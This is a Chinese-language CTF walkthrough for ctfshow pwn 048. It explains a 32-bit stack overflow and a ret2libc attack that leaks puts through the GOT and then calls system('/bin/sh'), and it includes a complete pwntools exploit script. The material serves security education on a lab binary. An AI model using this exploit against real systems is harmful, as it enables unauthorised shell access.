本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
在上一关(pwn 047)中,我们享受了一顿"免费的午餐",出题人直接开启了"上帝模式",把 puts 和 /bin/sh 的地址直接打印在了脸上。但现实总是残酷的,大多数情况下,我们需要自己动手丰衣足食。
来到 PWN 048 ,题目给出了一个关键提示:"没有write了,试试用puts吧,更简单了呢 "。这实际上是在暗示我们,虽然功能受限,但 puts 函数在利用上往往比 write 不需要考虑参数长度,反而更加方便。
这道题是 32 位 Ret2Libc 的标准教科书级题目,没有了上帝视角的辅助,我们需要完成完整的"泄露 -> 计算 -> 攻击"三部曲。
pwn 048:标准 Ret2Libc 姿势
题目信息与环境侦察
题目描述
pwn48:
题目描述说:没有write了,试试用puts吧,更简单了呢
解题过程: 首先例行公事,使用 checksec 检查程序保护情况。

- Arch : i386-32-little (32位程序)
- RELRO : Partial RELRO (GOT表可写)
- Stack : No canary found (无栈哨兵)
- NX : NX enabled (栈不可执行,必须用 ROP)
- PIE : No PIE (程序基址固定,方便利用 PLT 和 GOT)
第一部分:代码审计与漏洞挖掘
1. 静态分析 (IDA Pro)
Main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("O.o?");
ctfshow(); // 关键函数
return 0;
}
Logo 函数: 虽然打印了一堆字符画,但结合题目最新的描述,本题核心是用 puts 进行泄露。
漏洞函数 ctfshow:

ssize_t ctfshow()
{
_BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
// [漏洞点]:栈溢出
// 缓冲区大小为 103 字节 (0x67),但 read 允许读取 200 字节 (0xC8)
return read(0, buf, 0xC8u);
}
2. 漏洞分析
通过 IDA 可以看到,buf 距离栈底(EBP)的偏移量是 0x6B(即 107 字节)。 而 read 函数允许我们输入 0xC8(200 字节)。 200 > 107,显然存在栈溢出漏洞。
3. 攻击思路 (32位 Ret2Libc)
由于开启了 NX 保护,我们不能直接在栈上执行 shellcode。我们需要利用 ROP (Return Oriented Programming) 技术,借用 libc 库中的 system 函数。
攻击分为两个阶段:
阶段一:泄露 Libc 基址 (Leak)
因为 ASLR 的存在,libc 加载地址是随机的。我们需要利用程序已有的 puts 函数,把 puts 在内存中的真实地址(存储在 GOT 表中)打印出来。
构造 Payload 1:
padding + puts_plt + main_addr + puts_got
- padding : 填充
0x6B(buffer) +4(ebp) 字节。 - puts_plt: 调用 puts 函数的 PLT 地址。
- main_addr: 设置返回地址为 main 函数。当 puts 执行完后,程序会跳回 main 重新开始,让我们有机会发送第二次 payload。
- puts_got: 作为 puts 函数的参数。puts 会打印出这个地址指向的内容(即 puts 的真实地址)。
阶段二:Get Shell (Attack)
拿到 puts 的真实地址后,我们可以计算出 libc 的基址,进而算出 system 和 /bin/sh 的地址。
构造 Payload 2:
padding + system_addr + dummy_ret + bin_sh_addr
- system_addr: 计算出的 system 函数地址。
- dummy_ret: system 函数执行后的返回地址(通常填 0xdeadbeef 或者 main,这里不重要)。
- bin_sh_addr :
/bin/sh字符串的地址,作为 system 的参数。
第二部分:实战操作与 Payload 构造
1. 偏移量确认
根据 IDA 的分析: buf 位于 ebp - 0x6B。 我们需要覆盖的数据长度 = 0x6B (Buffer) + 4 (Old EBP) = 111 字节。
为了更直观地理解攻击流程,我们需要构造如下栈布局。这是 32 位程序利用 Ret2Libc 调用 system("/bin/sh") 的标准姿势:
+----------------------+
| Padding ('a' * 111) | <-- 填充 Buffer + Old EBP
+----------------------+
| System 函数地址 | <-- 1. 覆盖返回地址,跳转到 System
+----------------------+
| 0xdeadbeef | <-- 2. System 执行完后的返回地址 (无关紧要)
+----------------------+
| /bin/sh 字符串地址 | <-- 3. System 的第一个参数 (栈传参)
+----------------------+
2. 完整 EXP 脚本 (本地调试版)
在本地调试时,我们直接加载本地的 Libc 文件(通常位于 /lib/i386-linux-gnu/libc.so.6),避免使用 LibcSearcher 导致的版本不匹配问题。
from pwn import *
# from LibcSearcher import * # 本地调试不需要 LibcSearcher
# 1. 基础配置
context.log_level = 'debug'
context.arch = 'i386'
# [本地调试] - 开启
io = process('./pwn')
# [远程攻击] - 注释
# io = remote('pwn.challenge.ctf.show', 28133)
elf = ELF('./pwn')
# 2. 准备地址信息
# 获取 main 函数地址,用于泄露后返回重来
main_addr = elf.sym['main']
# 获取 puts 的 PLT 和 GOT 表地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# 偏移量计算: 0x6B + 4
offset = 0x6B + 4
# ==================== 第一步:构造 ROP 链泄露 puts 地址 ====================
log.info("Step 1: Leaking puts address...")
# 32位调用约定:函数地址 + 返回地址 + 参数1 + 参数2 ...
# 我们希望执行: puts(puts_got) -> 然后返回 main
payload1 = flat([
b'a' * offset, # Padding
puts_plt, # 调用 puts
main_addr, # puts 执行完后返回 main
puts_got # puts 的参数:打印 puts_got 的内容
])
# 接收程序开头的字符串,直到输入点
# [修正] 加上 \n 确保完整读取了一行,防止 residuals 干扰
io.recvuntil(b'O.o?\n')
io.sendline(payload1)
# 接收泄露的地址
# [修正] 直接读取 4 字节,比 recvuntil(b'\xf7') 更稳健
# 因为 libc 地址不一定总是以 \xf7 结尾(取决于环境),且 puts 会输出后续内存直到 \x00
puts_addr = u32(io.recv(4))
log.success(f"Leaked puts address: {hex(puts_addr)}")
# ==================== 第二步:计算 Libc 基址与 System 地址 ====================
log.info("Step 2: Calculating system address...")
# [本地调试关键步骤]
# 根据 ldd ./pwn 输出: libc.so.6 => /lib/i386-linux-gnu/libc.so.6
# 直接加载本地 libc 文件,不再需要 LibcSearcher 猜测
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# 计算 libc 基址
# puts_addr 是泄露的真实地址,libc.sym['puts'] 是 libc 文件中的偏移
libc.address = puts_addr - libc.sym['puts']
log.success(f"Libc Base: {hex(libc.address)}")
# 计算 system 和 /bin/sh 地址
system_addr = libc.sym['system']
# 使用 search 在 libc 内存中查找 /bin/sh 字符串
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.success(f"System Address: {hex(system_addr)}")
log.success(f"/bin/sh Address: {hex(bin_sh_addr)}")
# ==================== 第三步:Get Shell ====================
log.info("Step 3: Sending final payload...")
# 此时程序已经返回 main,再次执行到了 ctfshow 的 read
# 构造 payload: system("/bin/sh")
payload2 = flat([
b'a' * offset,
system_addr, # 调用 system
0xdeadbeef, # system 的返回地址 (不重要)
bin_sh_addr # system 的参数
])
# 再次发送 (因为返回了 main,程序会再次输出 O.o?)
# io.sendline(payload2) # 有时候不需要等 recv,直接发
io.sendline(payload2)
io.interactive()

总结:32位 Ret2Libc 核心板子
做到这一题,你应该已经熟练掌握了 32位 Ret2Libc 的标准板子,其核心流程如下:
- 确定偏移:计算 Buffer 到 Ret Addr 的距离。
- 构造泄露链 :
Padding + puts_plt + main_addr + puts_got。- 目的:利用
puts打印 GOT 表中的真实地址,并利用main让程序重启。
- 目的:利用
- 计算基址 :
LibcBase = Leak_Addr - Offset。 - 构造攻击链 :
Padding + system_addr + dummy_ret + bin_sh_addr。
这套逻辑是 PWN 入门的基石,务必烂熟于心。32位相比64位简单在参数直接放在栈上,不需要通过寄存器(rdi, rsi等)传参,所以 Gadget 找起来比较省事。
宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。